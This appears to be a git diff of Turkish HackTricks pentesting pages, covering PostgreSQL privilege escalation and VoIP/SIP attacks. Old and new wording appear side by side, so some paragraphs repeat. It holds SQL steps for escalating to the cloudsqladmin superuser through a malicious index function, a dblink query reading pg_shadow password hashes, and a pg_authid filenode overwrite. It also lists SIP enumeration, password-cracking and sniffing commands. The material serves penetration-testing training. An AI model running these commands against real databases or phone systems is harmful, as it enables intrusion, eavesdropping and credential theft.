**Başka bir kullanıcıyı bir tablonun sahibi yapmaya çalıştığınızda** buna engel olan bir **hata** almanız gerektiği, ancak GCP'nin bu **seçeneği GCP'deki süper kullanıcı olmayan postgres kullanıcısına** verdiği ortaya çıktı:
<figure><img src="../.gitbook/assets/image (537).png" alt=""><figcaption></figcaption></figure>
Bu fikri, **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) komutlarının **bir indeks işlevine sahip bir tabloda** çalıştırıldığında, **işlevin** komutun bir parçası olarak **çağrıldığı ve tablonun sahibinin izinleriyle** çalıştığı gerçeğiyle birleştirerek düşünebiliriz. Bir fonksiyonla bir indeks oluşturmak ve bu tabloya sahip bir **süper kullanıcıya sahip izinler vermek** ve ardından sahibin izinlerini kullandığı için komutları yürütebilecek kötü niyetli bir fonksiyonla tabloyu ANALYZE etmek mümkündür.
Bu fikri, **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) komutlarının **bir indeks işlevine sahip bir tabloda** çalıştırıldığında, **işlevin** komutun bir parçası olarak **çağrıldığı ve tablonun sahibinin izinleriyle** çalıştığı gerçeğiyle birleştirerek, bir indeks oluşturmak ve bu tabloya sahip bir **süper kullanıcıya sahip izinler vermek** mümkündür ve ardından sahibin izinlerini kullandığı için komutları yürütebilecek kötü niyetli bir işlevle tablo üzerinde ANALYZE çalıştırılabilir.
```c
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
@ -603,10 +593,10 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
#### Sömürü
1. Yeni bir tablo oluşturarak başlayın.
2. Tabloya anlamsız içerikler ekleyerek dizin işlevi için veri sağlayın.
3. Yetkisiz komutların yürütülmesine izin veren bir kod yürütme yükü içeren kötü amaçlı bir dizin işlevi geliştirin.
2. İndeks işlevi için veri sağlamak amacıyla tabloya ilgisiz içerik ekleyin.
3. Yetkisiz komutların yürütülmesine izin veren bir kod yürütme yükü içeren kötü amaçlı bir indeks işlevi geliştirin.
4. Tablonun sahibini "cloudsqladmin" olarak DEĞİŞTİRİN, bu, veritabanını yönetmek ve sürdürmek için yalnızca Cloud SQL tarafından kullanılan GCP'nin süper kullanıcı rolüdür.
5. Tablo üzerinde bir ANALYZE işlemi gerçekleştirin. Bu işlem, PostgreSQL motorunu tablonun sahibi olan "cloudsqladmin" kullanıcı bağlamına geçmeye zorlar. Sonuç olarak, kötü amaçlı dizin işlevi "cloudsqladmin" izinleriyle çağrılır ve bu da önceden izinsiz yürütülen kabuk komutlarının yürütülmesini sağlar.
5. Tablo üzerinde bir ANALYZE işlemi gerçekleştirin. Bu işlem, PostgreSQL motorunu tablonun sahibi olan "cloudsqladmin" kullanıcı bağlamına geçmeye zorlar. Sonuç olarak, kötü amaçlı indeks işlevi "cloudsqladmin" izinleriyle çağrılır ve bu da önceden izinsiz yürütülen kabuk komutunun yürütülmesini sağlar.
PostgreSQL'de, bu akış şöyle görünür:
```sql
@ -648,7 +638,7 @@ dbname=somedb',
RETURNS (result TEXT);
```
{% hint style="warning" %}
Önceki sorgunun çalışması için **`dblink` fonksiyonunun var olması gerektiğini unutmayın**. Eğer yoksa aşağıdaki komutu kullanarak oluşturabilirsiniz:
Önceki sorgunun çalışması için **`dblink` fonksiyonunun var olması gerektiğini** unutmayın. Eğer yoksa aşağıdaki komutu kullanarak oluşturmayı deneyebilirsiniz:
```sql
CREATE EXTENSION dblink;
```
@ -662,13 +652,13 @@ dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
Bu işlevin var olup olmadığını kontrol etmek mümkündür:
Bu işlevin varlığını kontrol etmek mümkündür:
```sql
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
### **Güvenlik Tanımlayıcısı ile** özel tanımlı işlev
[**Bu yazıda**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesterlar, IBM tarafından sağlanan bir postgres örneğinde **bu işlevi buldukları için** içeride bir ayrıcalık yükseltme yapabildiler:
[**Bu yazıda**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesterlar, IBM tarafından sağlanan bir postgres örneğinde **bu işlevi buldukları için** içeride bir ayrıcalık yükseltme gerçekleştirebildiler:
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
@ -689,7 +679,7 @@ PERFORM dblink_disconnect();
</code></pre>
[**Belgelerde açıklandığı gibi**](https://www.postgresql.org/docs/current/sql-createfunction.html) **SECURITY DEFINER ile** bir işlev, **sahibi olan kullanıcının ayrıcalıklarıyla** yürütülür. Bu nedenle, işlev **SQL Injection'a duyarlı ise** veya **saldırgan tarafından kontrol edilen parametrelerle ayrıcalıklı işlemler yapıyorsa**, postgres içinde **ayrıcalıkları yükseltmek için kötüye kullanılabilir**.
[**Belgelerde açıklandığı gibi**](https://www.postgresql.org/docs/current/sql-createfunction.html) **SECURITY DEFINER ile** işaretlenmiş bir işlev, **onu sahip olan kullanıcının ayrıcalıklarıyla** yürütülür. Bu nedenle, işlev **SQL Injection'a duyarlı ise** veya saldırgan tarafından kontrol edilen parametrelerle **ayrıcalıklı eylemler gerçekleştiriyorsa**, postgres içinde **ayrıcalıkları yükseltmek için kötüye kullanılabilir**.
Önceki kodun 4. satırında işlevin **SECURITY DEFINER** bayrağı olduğunu görebilirsiniz.
```sql
@ -701,10 +691,10 @@ Ve sonra **komutları çalıştır**:
<figure><img src="../.gitbook/assets/image (649).png" alt=""><figcaption></figcaption></figure>
### PL/pgSQL ile Brute Force Geçişi
### PL/pgSQL ile Brute Force Yöntemi
**PL/pgSQL**, SQL'e kıyasla daha fazla prosedürel kontrol sunan **tam özellikli bir programlama dilidir**. Program mantığını geliştirmek için **döngüler** ve diğer **kontrol yapıları** kullanımını sağlar. Ayrıca, **SQL ifadeleri** ve **tetikleyiciler**, **PL/pgSQL dilini** kullanarak oluşturulan fonksiyonları çağırma yeteneğine sahiptir. Bu entegrasyon, veritabanı programlaması ve otomasyonuna daha kapsamlı ve esnek bir yaklaşım sağlar.\
**Bu dilin kötüye kullanımıyla PostgreSQL'den kullanıcı kimlik bilgilerini brute force yapmasını isteyebilirsiniz.**
**PL/pgSQL**, SQL'e kıyasla daha fazla prosedürel kontrol sunan **tam özellikli bir programlama dilidir**. Program mantığını geliştirmek için **döngüler** ve diğer **kontrol yapıları** kullanımını sağlar. Ayrıca, **SQL ifadeleri** ve **tetikleyiciler**, **PL/pgSQL dilini** kullanarak oluşturulan fonksiyonları çağırma yeteneğine sahiptir. Bu entegrasyon, veritabanı programlaması ve otomasyonu için daha kapsamlı ve esnek bir yaklaşım sağlar.\
**Bu dili PostgreSQL'e kullanarak kullanıcı kimlik bilgilerini brute force etmek için kullanabilirsiniz.**
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
@ -713,7 +703,7 @@ Ve sonra **komutları çalıştır**:
### Dahili PostgreSQL Tablolarını Üzerine Yazarak İstek Yükseltme
{% hint style="info" %}
Aşağıdaki istek yükseltme vektörü, tüm adımların iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebileceği sınırlı SQLi bağlamlarında özellikle kullanışlıdır.
Aşağıdaki istek yükseltme vektörü, tüm adımların iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebileceği kısıtlı SQLi bağlamlarında özellikle kullanışlıdır.
{% endhint %}
Eğer **PostgreSQL sunucu dosyalarını okuyup yazabiliyorsanız**, PostgreSQL üzerindeki diskteki dosya düğümünü, dahili `pg_authid` tablosu ile ilişkilendirilmiş olanı üzerine yazarak **süper kullanıcı olabilirsiniz**.
@ -726,9 +716,9 @@ Saldırı adımları şunlardır:
2. `pg_authid` tablosu ile ilişkilendirilmiş dosya düğümüne göre göreceli bir yol elde et
3. `lo_*` fonksiyonları aracılığıyla dosya düğümünü indir
4. `pg_authid` tablosu ile ilişkilendirilmiş veri türünü al
5. [PostgreSQL Dosya Düğümü Düzenleyici](https://github.com/adeadfed/postgresql-filenode-editor)'yi kullanarak [dosya düğümünü düzenle](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); tüm `rol*` boolean bayraklarını 1 olarak ayarla ve tam izinler ver.
6. Düzenlenmiş dosya düğümünü `lo_*` fonksiyonları aracılığıyla yeniden yükle ve diskteki orijinal dosyayı üzerine yaz
7. _(İsteğe bağlı olarak)_ Pahalı bir SQL sorgusunu çalıştırarak bellek içi tablo önbelleğini temizle
5. [PostgreSQL Filenode Düzenleyici](https://github.com/adeadfed/postgresql-filenode-editor)'yi kullanarak [dosya düğümünü düzenle](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); tüm `rol*` boolean bayraklarını tam izinler için 1 olarak ayarla.
6. Düzenlenmiş dosya düğümünü `lo_*` fonksiyonları aracılığıyla yeniden yükle ve diske orijinal dosyayı üzerine yaz
7. _(İsteğe bağlı olarak)_ Pahalı bir SQL sorgusu çalıştırarak bellek içi tablo önbelleğini temizle
8. Artık tam bir süper yönetici ayrıcalıklarına sahip olmalısınız.
## **POST**
@ -739,9 +729,9 @@ msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
```
### günlüğe kaydetme
### günlükleme
_**postgresql.conf**_ dosyası içinde postgresql günlüklerini etkinleştirebilirsiniz, değiştirerek:
_**postgresql.conf**_ dosyasının içinde postgresql günlüklerini etkinleştirebilirsiniz değiştirerek:
```bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
@ -765,9 +755,9 @@ string pgadmin4.db
```
### pg\_hba
PostgreSQL'de istemci kimlik doğrulaması **pg\_hba.conf** adlı bir yapılandırma dosyası aracılığıyla yönetilir. Bu dosya, her biri bir bağlantı türünü, istemci IP adresi aralığını (uygulanabilirse), veritabanı adını, kullanıcı adını ve eşleşen bağlantılar için kullanılacak kimlik doğrulama yöntemini belirten bir dizi kayıt içerir. Bağlantı türü, istemci adresi, istenen veritabanı ve kullanıcı adıyla eşleşen ilk kayıt kimlik doğrulaması için kullanılır. Kimlik doğrulaması başarısız olursa geriye dönüş veya yedek yoktur. Eşleşen kayıt yoksa erişim reddedilir.
PostgreSQL'de istemci kimlik doğrulaması **pg\_hba.conf** adlı bir yapılandırma dosyası aracılığıyla yönetilir. Bu dosya, her biri bir bağlantı türünü, istemci IP adresi aralığını (uygulanabilirse), veritabanı adını, kullanıcı adını ve eşleşen bağlantılar için kullanılacak kimlik doğrulama yöntemini belirten bir dizi kayıt içerir. Bağlantı türü, istemci adresi, istenen veritabanı ve kullanıcı adıyla eşleşen ilk kayıt kimlik doğrulaması için kullanılır. Kimlik doğrulaması başarısız olursa geriye dönüş veya yedek yoktur. Eşleşen kayıt yoksa, erişim reddedilir.
pg\_hba.conf'daki mevcut şifre tabanlı kimlik doğrulama yöntemleri **md5**, **crypt** ve **password**'dur. Bu yöntemler, şifrenin nasıl iletildiğinde farklılık gösterir: MD5-hashed, crypt-encrypted veya açık metin. Önemli bir not olarak, crypt yöntemi pg\_authid'de şifrelenmiş şifrelerle kullanılamaz.
pg\_hba.conf'daki mevcut şifre tabanlı kimlik doğrulama yöntemleri **md5**, **crypt** ve **password**'dır. Bu yöntemler, şifrenin nasıl iletildiğinde farklılık gösterir: MD5-hashed, crypt-encrypted veya açık metin. Önemli bir not olarak, crypt yöntemi pg\_authid'de şifrelenmiş şifrelerle kullanılamaz.
<details>
@ -777,16 +767,16 @@ HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql)'i kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}

View file

@ -1,22 +1,6 @@
# VoIP Pentesting
# VoIP Temel Bilgiler
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## VoIP Temel Bilgiler
VoIP'nin nasıl çalıştığını öğrenmeye başlamak için şu adrese bakın:
Başlamak için VoIP'in nasıl çalıştığını öğrenmek için şu kaynağa göz atabilirsiniz:
{% content-ref url="basic-voip-protocols/" %}
[basic-voip-protocols](basic-voip-protocols/)
@ -138,7 +122,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
607 Unwanted
608 Rejected
```
## VoIP Numaralama
## VoIP Numaraları Saptama
### Telefon Numaraları
@ -146,12 +130,12 @@ Kırmızı Takım'ın yapabileceği ilk adımlardan biri, OSINT araçları, Goog
Telefon numaralarına sahip olduktan sonra operatörü tanımlamak için çevrimiçi hizmetler kullanabilirsiniz:
- [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
- [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
- [https://www.whitepages.com/](https://www.whitepages.com/)
- [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
* [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
* [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
* [https://www.whitepages.com/](https://www.whitepages.com/)
* [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
Operatörün VoIP hizmetleri sağlayıp sağlamadığını bilmek, şirketin VoIP kullanıp kullanmadığını belirlemenizi sağlar... Ayrıca, şirketin VoIP hizmetleri kiralamamış olabileceği ancak kendi VoIP PBX'ini geleneksel telefon ağına bağlamak için PSTN kartları kullandığı da mümkündür.
Operatörün VoIP hizmeti sağlayıp sağlamadığını bilmek, şirketin VoIP kullanıp kullanmadığını belirlemenizi sağlar... Ayrıca, şirketin VoIP hizmetleri kiralamamış olabileceği ancak kendi VoIP PBX'ini geleneksel telefon ağına bağlamak için PSTN kartları kullandığı da mümkündür.
Müzik gibi otomatik yanıtlar gibi şeyler genellikle VoIP kullanıldığını gösterir.
@ -187,9 +171,9 @@ intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
```
### OSINT bilgisi
### OSINT bilgileri
VoIP yazılımının belirlenmesine yardımcı olan herhangi bir diğer OSINT numaralandırması, Kırmızı Takım için faydalı olacaktır.
VoIP yazılımının belirlenmesine yardımcı olan diğer OSINT numaralandırma işlemleri bir Kırmızı Takım için faydalı olacaktır.
### Ağ Numaralandırma
@ -203,7 +187,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
```
* **`SIPPTS taraması`** [**sippts**](https://github.com/Pepelux/sippts)**'dan:** SIPPTS taraması, UDP, TCP veya TLS üzerinden SIP hizmetleri için çok hızlı bir tarayıcıdır. Çoklu iş parçacığı kullanır ve geniş ağ aralıklarını tarayabilir. Kolayca bir bağlantı noktası aralığı belirtmeyi, hem TCP hem de UDP'yi taramayı, başka bir yöntem kullanmayı sağlar (varsayılan olarak OPTIONS kullanacaktır) ve farklı bir Kullanıcı Ajanı belirtmeyi mümkün kılar (ve daha fazlası).
* **`SIPPTS taraması`** [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS taraması, UDP, TCP veya TLS üzerinden SIP hizmetleri için çok hızlı bir tarayıcıdır. Çoklu iş parçacığı kullanır ve geniş ağ aralıklarını tarayabilir. Kolayca bir bağlantı noktası aralığı belirtmeye, hem TCP hem de UDP'yi taramaya, başka bir yöntem kullanmaya izin verir (varsayılan olarak OPTIONS kullanacaktır) ve farklı bir Kullanıcı Ajanı belirtmeye (ve daha fazlasına).
```bash
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
@ -219,7 +203,7 @@ sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
```
#### Ekstra Ağ Numaralandırma
#### Ekstra Ağ Sıralaması
PBX ayrıca şu gibi diğer ağ hizmetlerini de açıklayabilir:
@ -227,30 +211,30 @@ PBX ayrıca şu gibi diğer ağ hizmetlerini de açıklayabilir:
- **80 (HTTP) / 443 (HTTPS)**: Cihazı web üzerinden yönetmek için
- **389 (LDAP)**: Kullanıcı bilgilerini depolamak için alternatif
- **3306 (MySQL)**: MySQL veritabanı
- **5038 (Yönetici)**: Diğer platformlardan Asterisk'i kullanmaya izin verir
- **5038 (Yönetici)**: Asterisk'i diğer platformlardan kullanmaya olanak tanır
- **5222 (XMPP)**: Jabber kullanarak mesajlar
- **5432 (PostgreSQL)**: PostgreSQL veritabanı
- Ve diğerleri...
### Yöntemler Numaralandırma
### Yöntemlerin Sıralanması
PBX'te kullanılabilir olan **hangi yöntemlerin** bulunabileceğini [**sippts**](https://github.com/Pepelux/sippts) üzerinden `SIPPTS enumerate` kullanarak bulmak mümkündür.
PBX'te kullanılabilir olan **hangi yöntemlerin bulunduğunu** [**sippts**](https://github.com/Pepelux/sippts) üzerinden `SIPPTS enumerate` kullanarak bulmak mümkündür.
```bash
sippts enumerate -i 10.10.0.10
```
### Sunucu yanıtlarının analizi
Bize geri gönderilen sunucu başlıklarını analiz etmek, gönderdiğimiz mesaj türüne ve başlıklara bağlı olarak çok önemlidir. [**sippts**](https://github.com/Pepelux/sippts) 'den `SIPPTS send` ile kişiselleştirilmiş mesajlar gönderebilir, tüm başlıkları manipüle edebilir ve yanıtı analiz edebiliriz.
Bir sunucunun bize geri gönderdiği başlıkları analiz etmek, gönderdiğimiz mesajın türüne ve başlıklarına bağlı olarak çok önemlidir. [**sippts**](https://github.com/Pepelux/sippts) 'den `SIPPTS send` ile kişiselleştirilmiş mesajlar gönderebilir, tüm başlıkları manipüle edebilir ve yanıtı analiz edebiliriz.
```bash
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
```
Ayrıca sunucu websockets kullanıyorsa veri elde etmek mümkündür. [**sippts**](https://github.com/Pepelux/sippts) üzerinden `SIPPTS wssend` kullanarak kişiselleştirilmiş WS mesajları gönderebiliriz.
Ayrıca, sunucu web soketleri kullanıyorsa veri elde etmek mümkündür. [**sippts**](https://github.com/Pepelux/sippts) üzerinden `SIPPTS wssend` kullanarak kişiselleştirilmiş WS mesajları gönderebiliriz.
```bash
sippts wssend -i 10.10.0.10 -r 443 -path /ws
```
### Uzantı Numaralarının Sıralanması
PBX (Özel Şube Değişim) sistemlerinde uzantılar, bir organizasyonun veya işletmenin içindeki bireysel telefon hatları, cihazlar veya kullanıcılara atanan **benzersiz iç tanımlayıcılara** atıfta bulunur. Uzantılar, her kullanıcı veya cihaz için ayrı harici telefon numaralarına gerek kalmadan, **aramaların organizasyon içinde verimli bir şekilde yönlendirilmesini** sağlar.
PBX (Özel Şube Değişimi) sistemlerinde uzantılar, bir organizasyonun veya işletmenin içindeki bireysel telefon hatları, cihazlar veya kullanıcılara atanan **benzersiz iç tanımlayıcılara** atıfta bulunur. Uzantılar, her kullanıcı veya cihaz için ayrı harici telefon numaralarına gerek kalmadan, **aramaların organizasyon içinde verimli bir şekilde yönlendirilmesini** sağlar.
* **`svwar`** from SIPVicious (`sudo apt install sipvicious`): `svwar`, ücretsiz bir SIP PBX uzantı hattı tarayıcısıdır. Kavram olarak, geleneksel wardialer'lar gibi çalışarak **bir dizi uzantıyı tahmin ederek veya belirli bir uzantı listesini kullanarak** çalışır.
```bash
@ -265,7 +249,7 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
```
* **`enumiax` (`apt install enumiax`): enumIAX**, Inter Asterisk Exchange protokolü **kullanıcı adı brute-force numaralandırıcısı**dır. enumIAX iki farklı modda çalışabilir; Sıralı Kullanıcı Adı Tahmini veya Sözlük Saldırısı.
* **`enumiax` (`apt install enumiax`): enumIAX**, Inter Asterisk Exchange protokolü için **kullanıcı adı brute-force numaralandırıcısı**'dır. enumIAX iki farklı modda çalışabilir; Sıralı Kullanıcı Adı Tahmini veya Sözlük Saldırısı.
```bash
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
@ -274,32 +258,32 @@ enumiax -v -m3 -M3 10.10.0.10
### Şifre Kaba Kuvvet - çevrimiçi
Bir Kırmızı Takım, **PBX**'i ve bazı **dahili kullanıcı adlarını** keşfettikten sonra, bir sözlük kullanarak kimlik doğrulamasını kaba kuvvet saldırısıyla deneyebilir ve bir uzantıya `REGISTER` yöntemi aracılığıyla kimlik doğrulamaya çalışabilir.
Bir Kırmızı Takım, **PBX**'i ve bazı **dahili/kullanıcı adlarını** keşfettikten sonra, bir sözlük kullanarak kimlik doğrulamasını kaba kuvvet saldırısıyla deneyebilir ve bir uzantıya `REGISTER` yöntemi aracılığıyla kimlik doğrulamaya çalışabilir.
{% hint style="danger" %}
**Kullanıcı adının**, uzantı ile aynı olabileceğini unutmayın, ancak bu uygulama PBX sistemi, yapılandırması ve organizasyonun tercihlerine bağlı olarak değişebilir...
**Bir kullanıcı adının**, uzantı ile aynı olabileceğini unutmayın, ancak bu uygulama PBX sistemi, yapılandırması ve organizasyonun tercihlerine bağlı olarak değişebilir...
Eğer kullanıcı adı uzantı ile aynı değilse, **kullanıcı adını bulup kaba kuvvet uygulamak için** belirlemeniz gerekecektir.
Eğer kullanıcı adı uzantı ile aynı değilse, **kullanıcı adını belirleyip kaba kuvvet uygulamak için** bunu çözmeniz gerekecektir.
{% endhint %}
* **`svcrack`** from SIPVicious (`sudo apt install sipvicious`): SVCrack, bir PBX üzerinde belirli bir kullanıcı adı/uzantı için şifreyi kırmak için kullanılır.
* **SIPVicious**'dan **`svcrack`** (`sudo apt install sipvicious`): SVCrack, bir PBX üzerinde belirli bir kullanıcı adı/uzantı için şifreyi kırmak için kullanılır.
```bash
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
```
* **`SIPPTS rcrack`** [**sippts**](https://github.com/Pepelux/sippts)**'dan:** SIPPTS rcrack, SIP hizmetleri için uzaktan şifre kırıcıdır. Rcrack, farklı IP'lerde ve port aralıklarında birkaç kullanıcının şifrelerini test edebilir.
* **`SIPPTS rcrack`** [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack, SIP hizmetleri için uzaktan şifre kırıcıdır. Rcrack, farklı IP'lerde ve port aralıklarında birkaç kullanıcı için şifreleri test edebilir.
```bash
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
```
* **Metasploit**:
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb)
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb)
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb)
### VoIP Sniffing
Eğer **Açık Wifi ağı** içinde VoIP ekipmanı bulursanız, **tüm bilgileri** **sızdırabilirsiniz**. Dahası, daha kapalı bir ağda bulunuyorsanız (Ethernet üzerinden bağlı veya korumalı Wifi ile bağlı), **ARPspoofing** gibi **MitM saldırıları** gerçekleştirebilir ve bilgileri **PBX ve ağ geçidi** arasında sızdırmak için.
Eğer **Açık Wifi ağı** içinde VoIP ekipmanı bulursanız, **tüm bilgileri** **sızdırabilirsiniz**. Dahası, daha kapalı bir ağda bulunuyorsanız (Ethernet üzerinden bağlı veya korumalı Wifi ile bağlı), **ARPspoofing** gibi **MitM saldırıları** gerçekleştirebilir ve bilgileri **PBX ve ağ geçidi** arasında sızdırabilirsiniz.
Ağ bilgileri arasında, ekipmanı yönetmek için **web kimlik bilgileri**, kullanıcı **dahili numaraları**, **kullanıcı adı**, **IP** adresleri, hatta **karmalanmış şifreler** ve **konuşmayı dinlemek için çoğaltabileceğiniz RTP paketleri** bulabilirsiniz.
Ağ bilgileri arasında, ekipmanı yönetmek için **web kimlik bilgileri**, kullanıcı **dahili numaraları**, **kullanıcı adı**, **IP** adresleri, hatta **karmakarışık şifreler** ve **konuşmayı dinlemek için çoğaltabileceğiniz RTP paketleri** bulabilirsiniz.
Bu bilgilere ulaşmak için Wireshark, tcpdump gibi araçları kullanabilirsiniz, ancak VoIP konuşmalarını sızdırmak için **özel olarak oluşturulmuş bir araç olan** [**ucsniff**](https://github.com/Seabreg/ucsniff) kullanabilirsiniz.
@ -343,22 +327,22 @@ Asterisk'te bir bağlantıya **belirli bir IP adresinden** veya **herhangi bir I
host=10.10.10.10
host=dynamic
```
Eğer bir IP adresi belirtilirse, ana makine **zaman zaman REGISTER** istekleri göndermek zorunda kalmayacak (REGISTER paketinde genellikle 30 dakika olan yaşam süresi gönderilir, bu da başka bir senaryoda telefonun her 30 dakikada bir REGISTER yapması gerektiği anlamına gelir). Bununla birlikte, VoIP sunucusundan gelen aramaları almak için açık bağlantılara izin veren portlara sahip olması gerekecek.
Eğer bir IP adresi belirtilmişse, ana makine **zaman zaman REGISTER** istekleri göndermek zorunda kalmayacak (REGISTER paketinde genellikle 30 dakika olan yaşam süresi gönderilir, bu da başka bir senaryoda telefonun her 30 dakikada bir REGISTER yapması gerektiği anlamına gelir). Bununla birlikte, aramaları almak için VoIP sunucusundan bağlantıları kabul eden açık portlara sahip olması gerekecektir.
Kullanıcıları tanımlamak için şu şekilde tanımlanabilirler:
* **`type=user`**: Kullanıcı sadece kullanıcı olarak arama alabilir.
* **`type=user`**: Kullanıcı sadece kullanıcı olarak aramaları alabilir.
* **`type=friend`**: Peer olarak aramalar yapılabilir ve kullanıcı olarak alınabilir (uzantılarla kullanılır)
